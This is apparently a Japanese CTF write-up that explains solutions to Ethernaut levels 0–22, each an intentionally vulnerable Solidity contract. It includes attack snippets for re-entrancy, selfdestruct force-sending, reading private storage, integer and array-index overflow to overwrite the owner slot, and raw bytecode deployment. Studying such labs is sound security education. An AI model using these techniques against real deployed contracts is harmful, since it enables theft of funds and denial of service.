はじめに
Ethereum版CTFのEthernautの2020/8/5現在出ている(0~22)まで解きました。
雑にメモっぽく書いているが、全ての問題を解説している日本語記事がないため
これからEthernautを解く人向けに共有します。
基本的にはsolidity v0.4.xの問題をときました。
shopはsolidity v0.4.12の問題が404だったのでv0.5.0の問題をときました
(Ethereumのアプデでクリアはできなかったけども)
0. Hello Ethernaut
ここは解説する必要なし
言われた通りに入力するだけ
1. Fallback
ownerアドレスに自分のアドレスが入ればクリア
fallback関数の条件をクリアして呼び出すとownerの書き換えが可能
fallback関数内の
contributions[msg.sender] > 0
をクリアするためcontribute()
を呼び出して条件をクリアさせる
そのあと、fallback関数を呼び出す。
2. Fallout
これはsolidity v0.5.0以前に発生しうる脆弱性
constructorのスペルミスで普通の関数になっている
Fal1out()
を呼び出すだけ
3. Coinflip
乱数に見せかけて同じコントラクトを書いて実行すると同じ値が出る
そのため事前に計算するコントラクトを作成
その結果をもとに問題のコントラクトを実行すると10問でも何問でも正解できる
4. Telephone
msg.sender -> EOAとコントラクトの二つのアドレスが入る
tx.origin -> EOAアドレスのみ
例えば
BobのEOA -> AContract -> BContract
BContractからすると
msg.senderはAContract
tx.originはBobのEOA
tx.originはセキュリティ上問題があるため、非推奨
tx.originの情報が知りたい場合はコントラクトにその情報を送る必要がある
5. Token
典型的なオーバーフロー脆弱性
solidityにはマイナスの概念がないため
uint256の場合
2^256がmaxだがそれに+1すると0に戻る
0から-1を引くと2^256になるため
balances[msg.sender] - _value >= 0
のvalueは20以上を入れればクリアできる。
また自分のアドレスにオーバーフローした大量のトークンが追加される。
6. Delegate
msg.dataを作成する。
> await contract.sendTransaction({ data: web3.sha3("Method") })
7. Force
solidityのSelfDestruct(非推奨)
- コントラクトを使用不可にするときに使われる
- そのコントラクトにある分のEthを宛先に送信する。このとき宛先のfallback関数は呼び出されない。
- fallback関数がnon-payableでも送信できてしまう。
OpenZeppelinのPausableコントラクトなどで使用できないようにするのが推奨されている。
pragma solidity ^0.6.12;
contract KillContract {
fallback() external payable {}
// payableで宣言
address payable sendEthAddress;
constructor(address payable _sendEthAddress) public {
sendEthAddress = _sendEthAddress;
}
function kill() public {
selfdestruct(sendEthAddress);
}
}
8. Vault
passwordなど、公開したくない情報はいれることができない
伝搬し格納したデータを参照すればprivateで宣言している変数内も見えてしまう。
web3のgetStorageAtを使うと内容がわかってしまう。
テキトーなプロジェクトを作ってweb3を動かしてみた
web3 = new Web3(
new Web3.providers.HttpProvider(
"https://ropsten.infura.io/v3/プロジェクトID"
)
);
this.web3.eth
.getStorageAt("0xf72902f76ed2421949714333816759a55afb10cd", 1)
.then((hexPassword) => {
console.log(this.web3.utils.hexToAscii(hexPassword));
});
9. King
例外が発生するとkingが変更できなくなる。
意図的に例外が発生するようにする
送信するコントラクト先がpayableかどうかのチェックが行われないといけない
// メソッドの引数に{value: ***}でpayableな関数にイーサを送金できる
HackKing.deployed().then((instance) => instance.Attack({value:100000}))
10. Re-Entrancy
外部のpayableなメソッドにイーサを送る
abstract contract Reentrance{
function donate(address _to)public payable{}
}
contract ReEntrancyAttack {
Reentrance reentrance = Reentrance(AttackAddress);
reentrance.donate{value:AttackAmount}(address(this));
}
11. Elevator
処理の戻り値が常に同じとは変わらない(実行するとスイッチのようにOn,Offする場合がある)
function isLastFloor(uint256 _floor) public returns (bool) {
top =!top;
return top;
}
抽象コントラクトはview,pureの制約を許してしまう
抽象コントラクトを作成するときは注意
作成者はview関数なので戻り値は同じだと思い、二度目の呼び出しをした。
12. Privacy
Storageに格納されているデータを解析する
for(int i = 0; i < 10; i++){
this.web3.eth.getStorageAt(" *** address ***",i).then(storage => console.log(i+")"+storage));
}
//結果
0)0x0000000000000000000000000000000000000000000000000000008a14ff0a01
1)0x6edb24b480ae1417f6870f37041354a8b4705c24943f53326193f072a938beae
2)0x8c552e818e1df3385dc4a7592ae2393dc5a09f30f5ae8b71d5ed72717c601cf1
3)0x66caf7bad73696d6aa449706ea09bfc8e19c9c7c00a1b9cb9c3e4411581a504f
- ストレージスロットは32bytes
- Storageは32byte未満の変数は同じ可能であれば1スロットにまとめて格納される
8bit => 1byte
1byte => 16進数で二桁になる
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
型 | 格納 | 格納された数値 |
---|---|---|
bool | true | 01 |
uint256 | block.timestamp | -(constant) |
uint8 | 10 | 0a |
uint8 | 255 | ff |
uint16 | uint8(now) | 8a14 |
bytes32[3] | ? | slot[1~3] |
0x66caf7bad73696d6aa449706ea09bfc8e19c9c7c00a1b9cb9c3e4411581a504f
16byteにキャストするから先頭半分
13. Gatekeeper One
Gate1はコントラクトから呼び出しにすればok
Gate2はdebugしながらGas%8191=0
になるように設定する
筆者はうまくできなかったので120回for文で総当たりしてやった
(debugした時のgas代がMetaMaskの方で勝手に書き換えられちゃう?それともGasLimitがちゃんと設定できてないのかも。。。)
* bytes8(_gateKey)
gateOne => msg.senderとtx.originを別に (別コントラクトから呼び出し)
gateTwo => ガスが8191で割り切って0になる (ガス指定)
gateThree =>
- uint32(_gateKey)とuint16(_gateKey)の結果が同じ
- uint32(_gateKey)とuint64(_gateKey)の結果が違う
- uint32(_gateKey)とuint16(tx.origin)の結果が同じ
条件を突破すればGate3クリア
uint16 - 16bitで整数を格納(符号なし)
1 byte => 二桁の16進数
uint16(tx.origin) = '61502'(16bytes) => 0xF0 3E
uint16(_gateKey) => 0xF0 3E
uint32(_gateKey) => 61502 => 0x00 00 F0 3E
uint32(_gateKey) =! uint64(_gateKey)なので
uint64(_gateKey) => 0x00 00 00 01 00 00 F0 3E
uint64 => 8byte
_gateKey = 0x111000000000F03E
14. GateKeeper Two
Gate1はコントラクトから問合せでクリア
Gate2は
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
Assemblyを読む。
extcodesize(a) -> size of the code at address a(aアドレスのコードサイズ)
caller -> call sender(呼び出し元)
つまり、呼び出し元はコードサイズが0であるならok
デプロイ後、実行するとデータサイズは0ではない
コードサイズが0は
コードが完全にpushされていない、コンストラクタの中での実行
で実現する。
gate3は
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
uint64(0) - 1 = 2**64 -1 = 18446744073709551615(1111111111111111111...1111(64))
^ -> ビットごとの XOR
uint64(_gateKey)を使ってマスクするっぽい
uint64(keccak256(msg.sender)) -> (1111011010101010101110111...111)と仮定すると
XORは
msg | Key | result |
---|---|---|
0 | 0 | 0(x) |
1 | 0 | 1 |
0 | 1 | 1 |
1 | 1 | 0(x) |
なので全て1にするようにするには
msg.senderが0のときkeyは1
msg.senderが1のときkeyは0
つまりkeyはmsg.senderの真逆を作ればいい
なので
(msg.sender)XOR 0 = key
コードにするとこうなる
uint64 key = ~uint64(keccak256(msg.sender));
return bytes8(key);
15. Naught Coin
自由に転送できるようにするには
playerを自分のアドレス以外のアドレスに変更すればいい...
けど別のアカウントに送って自分のアドレスは使用しないようにすれば自分のトークン量は0になる。
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
ERC20のapprove,transferFromワークフローを使用して他のアドレスに送ってしまおう
approve,transferFromワークフローはICOのときに使われる、ERC20の関数である。
approveでどのアカウントにどの量送信可能ににするかを設定し
transferFromで許可された分だけトークンを送信可能にする。
この二つの関数はlockTokensされていないため
自分のアドレスのトークンを他のアドレスから送らせることが可能
1e+24トークン分送信してクリア
16. Preservation
DelegateCallのストレージ格納方法についての知識が必要
delegateCallした際に格納されるストレージは定義した変数に入れられるのではなく
ストレージのスロットに格納される。
つまり、図のContract Bは変数barがスロット0にあるためB.delegateCall(..setTo5)
を実行すると
Contract Aのスロット0、つまり変数fooが書き換わってしまう。
このことを利用すると、
address public timeZone1Library;
を書き換えることが可能
あとはストレージレイアウトの同じ、ownerを書き換えるコントラクトをデプロイして実行させるように作成すればクリア
自分のアドレスのuint256
'1356523368718057898125122042148055426621049139262'
17. Locked
structのアンチパターン
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
structは格納されるデータ群の参照をするもの
デフォルトでStorage
関数内でStructを宣言するとStorageとして宣言され現在のスロットの上書きをしてしまう
function register(address _name, address _mappedAddress) public {
// set up the new NameRecord
address storage A = address(1); //コンパイルエラー 関数内でStorageは宣言できない
NameRecord newRecord; // Structとarrayはできちゃう
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
}
問題ではnewRecord.nameでunlockが上書きされる
1スロットでtrueのみの格納は
0x0000000000000000000000000000000000000000000000000000000000000001
こうなる
18. Recovery
selfdestruct(_to)
は自分のコントラクトを破壊し元のアドレスに変換する。
0.5ethを持つコントラクトをselfdestructすればok
selfdestructをpublicにしてるのフツーにやばない?
誰からでもselfdestructできるやんけ...
19. MagicNumber
opecodeを理解する必要がある。
この方のブログが参考になる。
Solidity Assembly入門
[Runtime Code]
今回は0x42を返すだけのopecodeを考える。
まずは0x42をstack領域にいれる(0x42は1bytesで表せるのでPUSH1)
PUSH1(0x42)
次にmemory領域にいれる(0x80からフリーメモリポインタ。0x80以前は予約されている->Initialization Opcode)
MSTORE(0x80,0x2a)
それをmemory領域に格納したデータ(0x80から1スロット32bytes分->0x20)を返す
RETURN(0x80,0x20)
つまり
PUSH1 0x42 PUSH1 0x80 MSTORE PUSH1 0x20 PUSH1 0x80 RETURN
この流れで実行される。
全10opcode!
これをバイトコードに直す
Ethereum Virtual Machine Opcodes
上の対応表をみながら書いていく
60 2a 60 80 52 60 20 60 80 f3
[Initialization Opcode]
0x80以前のopcodeを考える
Initialization Opcodeとはコントラクトを作成するためのOpcode
主にRuntime Opcodeを作成する
CODECOPY
を使ってRuntime Opcodeをメモリにコピーする
CODECOPY(t, f, s)
の引数は
- (t) 最初のメモリの宛先。
- (f) Runtime Opcodeのバイトコード全体に対する位置
- (s) Runtime Opcodeのコードのサイズ
sからスタックに入れていく 今回は10bytesなので
PUSH1 0x0a
fは現在わからない。Initialize Opcode
PUSH1 0x??
tは0x00なので
PUSH1 0x00
DATACOPY
なので
60 0a 60 ?? 60 00 39
コピーしたらRuntime Opcodeに戻るためにRETURN
をする
RETURN(p,s)
は実行を終了して指定したメモリに戻る
- (p) 戻るメモリの相対位置。
- (s) datasize
PUSH1 0x0a
PUSH1 0x00
RETURN
なので
60 0a 60 00 f3
全部で12bytesなので??は0c
よって
0x600a600c600039600a6000f3602a60805260206080f3
これをweb3でトランザクションを作成する
var account = "0xeD9C9c93b75b8222934A4772A5A9eb55A8Cbf03E" // my account
var bytescode = "0x600a600c600039600a6000f3602a60805260206080f3"
web3.eth.sendTransaction({from: account, data: bytescode}, function(err,res){console.log(res)})
これをSolverに登録してクリア
20. Alien Codex
馬鹿でかい要素を持つarrayを作るため、データを低レベルでcallする必要がある。
1)
関数のハッシュの作り方
bytes4(keccak256(abi.encodePacked(func)));
make_contract(bytes32[])
-> 0x1d3d4c0b
次に引数の要素のポインタを指定
今回は一要素しかないのでポインタを指定する32bytesの次なので
0x0000000000000000000000000000000000000000000000000000000000000020
bytes32[].length >2**200 をクリアするためのバイト列を作る
2^200 = 16^50
bytes32[]のような動的な型は最初に型の要素数を指定する
0x1000000000000000000000000000000000000000000000000000000000000000
-> 16^64なのでクリア
要素数の次はなんでもありなので基本的には何もしなくても0が入っている
なのでdataは
0x1d3d4c0b00000000000000000000000000000000000000000000000000000000000000201000000000000000000000000000000000000000000000000000000000000000
トランザクションを作成する
web3.eth.sendTransaction({ to: contract.address, data: rowdata, from:player, gas:1000000},function(error , result){console.log(result)})
これでcontactはtrueになる。
スロットがオーバーフローするのを狙う
web3.eth.getStorageAtでストレージをみてみると
0) 0x00000000000000000000000173048cec9010e92c298b016966bde1cc47299df5
1) 0x0000000000000000000000000000000000000000000000000000000000000000
2) 0x0000000000000000000000000000000000000000000000000000000000000000
3) 0x0000000000000000000000000000000000000000000000000000000000000000
slot | bytes |
---|---|
0 | bool + owner address |
1 | Array.length |
keccak(1) | codex[1] |
keccak(1)+1 | codex[2] |
2^256-1 | codex[2^256-1-keccak(1)] |
0(over flow) | codex[2^256-1-keccak(1)+1] |
動的な型(arrayなど)はメモリの衝突が起きないようにkeccak(1)を最初の動的な型のメモリ開始地点としている。
スロットは2^256個あるが溢れるとオーバーフローを起こし、0スロットに戻ってくるためowner addressを変更することができる。
2^256-1-keccak(1)+1 = 35707666377435648211887908874984608119992236509074197713628505308453184860938
トランザクションを作成して実行
// revise(index, value)
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001eD9C9c93b75b8222934A4772A5A9eb55A8Cbf03E',{from:player, gas:1000000})
なんかどうやら意図的にArray Overflowさせるのは対策されているのかな...?
他の記事みるとこれでうまくいってるぽいんでとりま保留
21. Denial
ownerがコントラクトから引き出せなくなればクリア
partner.call.value(amountToSend)();
ここの部分が他のコントラクトに問い合わせているにも関わらず、revert対策を行っていない
そこで意図的にrevertさせればいい
ここは正直どんな方法でrevertさせてもいいので
re-entrancyを使ってガスを0にしてrevertさせた。
22. Shop
初期値のpriceよりやすくすればクリア
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
_buyer.price
を二度呼んでいるが最初の呼び出しより少ない値を返すようにすれば
isSold
はtrue
かつ
price
が100よりやすくできる。
コントラクトを作成する
_buyer.priceを呼び出すがガスは(3000)に制限されている。
ストレージを使用するpriceの呼び出しは最低でも8000ガスが必要なため、ストレージを使わない関数を書く
function price() public view override returns (uint256){
return Shop(ShopAddress).isSold() == true ? 0:100;
}
こうすることでクリアできる....はずなんだが、
https://github.com/OpenZeppelin/ethernaut/issues/156
どうやらイスタンブールアップデートでSLOADのガスが200から800に変更されたせいで
ガス制限3000はクリアしない模様
こればかりはクリアできないね
まとめ
だいぶ初学者からすると骨のある問題ばかりだった
storageのメモリ設計やfallbackなど代表的な脆弱性の他にも
もうすでにsolidityのコンパイラがエラーをはいてくれるものもあった。
なるべく新しいバージョンを使うのがセキュリティ面でもいいと思った。